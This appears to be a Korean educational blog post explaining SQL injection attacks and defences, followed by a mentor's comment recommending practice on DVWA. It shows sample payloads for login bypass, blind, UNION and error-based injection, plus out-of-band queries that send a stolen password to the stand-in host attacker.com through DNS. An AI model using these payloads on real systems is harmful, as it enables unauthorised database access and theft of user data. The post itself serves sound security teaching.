
SQL Injection은 공격자가 웹 애플리케이션의 SQL 쿼리문에 악의적인 코드를 삽입하여 데이터베이스를 조작하거나 정보에 불법적으로 접근하는 공격 방식입니다
일반적으로 사용자가 입력한 데이터를 적절히 검증하지 않거나 필터링하지 않을 때 발생합니다
이는 데이터 유출 사고의 주요 원인으로 작용합니다
SQL Injection은 OWASP Top 10에서 지속적으로 상위권을 차지하는 심각한 보안 위협입니다
SQL Injection은 웹 애플리케이션에서 사용자가 입력한 데이터를 SQL 쿼리문에 포함시킬 때 발생합니다
예를 들어, 로그인 폼에서 사용자가 아이디와 비밀번호를 입력하고 이를 SQL 쿼리로 확인하는 과정에서 입력 값이 SQL 문에 직접 연결되기 때문에 공격자가 쿼리를 변경할 수 있습니다
아래는 로그인 우회 공격의 예시입니다
-- 정상 쿼리
SELECT * FROM users WHERE username = 'user' AND password = '1234';
-- 악성 입력: ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...';
악성 입력을 통해 ' OR '1'='1' -- 을 로그인 폼에 입력하면 '1'='1'이 항상 참이 되므로 조건을 우회하여 모든 사용자 정보를 조회하게 됩니다
--: 주석으로 그 뒤의 부분을 무시하게 만듭니다
SQL Injection 공격이 발생하는 경로는 보통 다음과 같습니다
공격자는 애플리케이션에서 사용자로부터 데이터를 받는 입력 필드를 찾습니다
일반적으로 사용자가 입력하는 정보는 다음과 같은 방법으로 수집될 수 있습니다
로그인 폼(아이디, 비밀번호 입력)검색 폼(검색어 입력)URL 파라미터(쿼리 스트링을 통한 값 전달)웹 애플리케이션의 다른 폼 입력 필드(예: 회원가입, 게시물 작성 등)HTTP 헤더(쿠키, User-Agent 값 등)
웹 애플리케이션은 사용자가 입력한 값을 SQL 쿼리문에 삽입합니다
공격자가 입력 값에 악의적인 SQL 코드를 삽입할 수 있는 경우, SQL Injection 공격이 발생할 수 있습니다
이는 서버가 입력 값에 대해 적절한 검증이나 필터링을 수행하지 않는 것을 이용합니다
아래는 사용자가 입력한 값이 그대로 SQL 쿼리문에 삽입되는 예시입니다
SELECT * FROM users WHERE username = '사용자입력' AND password = '사용자입력';
공격자는 입력 값에 SQL 명령어를 삽입하여 쿼리를 변경할 수 있습니다
예를 들어, 로그인 폼에서 아이디와 비밀번호를 입력받는 경우 공격자는 악성 SQL 코드를 포함시켜 쿼리의 조건을 우회하거나 다른 데이터베이스 정보를 추출할 수 있습니다
위의 기본 메커니즘에서 언급된 로그인 우회 예시입니다
-- 정상 쿼리
SELECT * FROM users WHERE username = 'user' AND password = '1234';
-- 악성 입력: ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...';
입력 값이 SQL 쿼리로 처리되면 서버는 이를 실행하게 됩니다
이 과정에서 악성 SQL 코드가 실행될 수 있습니다
공격자는 데이터베이스에서 정보를 조회하거나, 변경하거나, 삭제하는 등의 행위를 할 수 있습니다
정보 유출: 공격자는 중요한 정보를 조회할 수 있습니다
예를 들어, 사용자 데이터베이스에서 비밀번호나 이메일을 가져올 수 있습니다
데이터 변경: 공격자는 데이터를 수정하거나 삭제할 수 있습니다
권한 상승: 공격자는 관리자 권한을 탈취할 수도 있습니다
공격자는 SQL Injection을 통해 자신이 원하는 정보를 추출하거나, 시스템을 제어할 수 있게 됩니다
그렇게되면 공격자는 아래와 같은 행위들이 가능합니다
정보 유출: 중요한 사용자 정보, 비밀번호, 결제 정보, 이메일 등을 추출할 수 있습니다
데이터 조작: 공격자는 데이터를 삭제하거나 수정하여 애플리케이션의 기능을 방해하거나 비즈니스 로직을 무력화할 수 있습니다
관리자 권한 탈취: SQL Injection을 이용해 관리자로서 권한을 획득하고 애플리케이션의 중요한 설정을 변경할 수 있습니다
서비스 거부 (DoS): 공격자는 데이터베이스에 과도한 요청을 보내 서비스가 정상적으로 작동하지 않도록 만들 수 있습니다
공격자가 SQL Injection을 통해 시스템에 침투한 후, 아래의 후속 작업을 할 수 있습니다
데이터베이스 정보 추출: 중요한 정보(예: 사용자 명단, 비밀번호, 카드 정보 등)를 외부로 빼낼 수 있습니다
시스템 파괴: 중요한 데이터를 삭제하거나 변경하여 시스템을 마비시킬 수 있습니다
악성 코드 삽입: 공격자는 데이터베이스에 악성 코드를 삽입하여 추가적인 공격을 수행할 수 있습니다
SQL Injection은 여러 종류로 나눌 수 있습니다
주로 다음과 같은 유형들이 있습니다
Classic SQL Injection은 기본적인 SQL Injection으로 공격자가 입력 필드에 악의적인 SQL 코드를 삽입하여 데이터베이스에 쿼리를 실행하도록 유도하는 방식입니다
Error-based SQL Injection은 공격자가 의도적으로 SQL 쿼리에서 오류를 발생시켜, 데이터베이스에서 반환되는 에러 메시지를 통해 내부 정보를 알아내는 방식입니다
아래는 간단한 예시입니다
Blind SQL Injection은 쿼리의 실행 결과를 직접적으로 볼 수 없으나 공격자가 조건에 따라 서버의 응답을 분석하여 정보를 추출하는 방법입니다
Boolean-based Blind SQL Injection: 참/거짓 조건을 통해 정보를 추출합니다
아래는 간단한 예시입니다
SELECT * FROM products WHERE id=1 AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a';
Time-based Blind SQL Injection: 쿼리 실행 시 딜레이를 이용해 서버 응답을 추적하는 방식입니다
아래는 간단한 예시입니다
SELECT * FROM orders WHERE id=1; IF (1=1) WAITFOR DELAY '0:0:5';
Union-based SQL Injection은 여러 쿼리의 결과를 합치는 UNION 명령어를 사용하여 다른 테이블에서 정보를 가져오는 방법입니다
아래는 간단한 예시입니다
SELECT title, content FROM posts WHERE id=1
UNION SELECT username, password FROM users;
UNION 연산자로 기존 쿼리에 추가 데이터를 추출합니다
직접적인 응답 없이 다른 경로 (예: 이메일, DNS 요청)를 통해 데이터를 외부로 전달하는 공격 방식입니다
아래는 간단한 예시입니다
SQL Server 예시
DECLARE @data VARCHAR(100);
SET @data = (SELECT TOP 1 password FROM users);
EXEC('xp_dirtree "\\' + @data + '.attacker.com\share"');
xp_dirtree로 attacker.com DNS 서버에 password 값 포함된 요청을 전송합니다
MySQL 예시
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\test.txt'));
LOAD_FILE 함수로 attacker.com에 파일 접근 시도한 후 DNS 로그에서 데이터를 획득합니다
그렇다면 어떻게 대응을 해야할까요? 다음으로는 방어 기법에 대해 설명하고자 합니다
SQL Injection을 방어하는 가장 효과적인 방법은 쿼리문과 입력값을 분리하는 것입니다
Prepared Statements를 사용하면 사용자가 입력한 값이 SQL 코드로 해석되지 않고 단순한 데이터로 처리되기 때문에 공격이 불가능합니다
아래는 간단한 예시입니다
# 예시 (Python + SQLite)
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
대부분의 언어 및 DB 라이브러리 등에서 지원합니다
ORM (Object-Relational Mapping)을 사용하면 직접 SQL 쿼리를 작성할 필요 없이 객체 지향적으로 데이터에 접근하게 됩니다
이 과정에서 내부적으로 자동으로 파라미터 바인딩이 적용되어 SQL Injection 위험이 현저히 줄어듭니다
아래는 간단한 예시입니다
# 예시 (Django)
User.objects.filter(username=username)
사용자의 입력값을 서버에 전달하기 전에 형식과 길이, 허용된 문자 등을 검증해야 합니다
예를 들어 숫자만 허용되는 필드에 문자나 특수기호가 포함되었을 경우 요청을 거절해야 합니다
아래는 간단한 예시입니다
# 숫자 검증 예시
if not user_id.isdigit():
return "Invalid input"
애플리케이션이 사용하는 DB 계정에 최소한의 권한만 부여해야합니다
예를 들어 SELECT만 필요한 기능에 UPDATE 권한이 있으면, 침투 시 피해가 더 커질 수 있습니다
SQL 에러 메시지를 그대로 사용자에게 보여주면 안 됩니다.
“알 수 없는 오류가 발생했습니다”와 같은 일반적인 메시지로 대체하고 실제 오류는 서버 로그에만 기록되도록 설정해야 합니다
WAF (Web Application Firewall)는 SQL Injection 시도로 의심되는 요청을 실시간으로 탐지하고 차단할 수 있습니다
완벽한 방어수단은 아니나 추가적인 보안 계층으로 효과적일 수 있습니다
SQL Injection은 기술적인 복잡성보다는 개발자의 보안 인식에 대한 부재로 주로 발생합니다
공격 기법은 계속해서 진화하기 때문에 이에 대응하기 위해서는 OWASP 가이드라인의 지속적 학습과 자동화된 보안 테스트 프로세스 구축이 필수적입니다
간단하게 SQL Injection에 대해 알아봤습니다
기능을 구현하는 것도 중요하지만, 안전하게 구현하는 것은 더 중요합니다
SQL Injection을 시작으로 기본적인 웹 보안 위협을 익혀봅시다!
벌써 많은 양의 자료를 정리하셨네요. 나중에 필요할때 스스로 잘 복기할 수 있게 잘 정리하신 것 같습니다. 실습도 바로 진행해보시면서 체감하시면 더 도움이 될 것 같습니다. 실습은 DVWA SQLI low 이런식으로 검색하셔서 찾아보시면서 하시면 됩니다.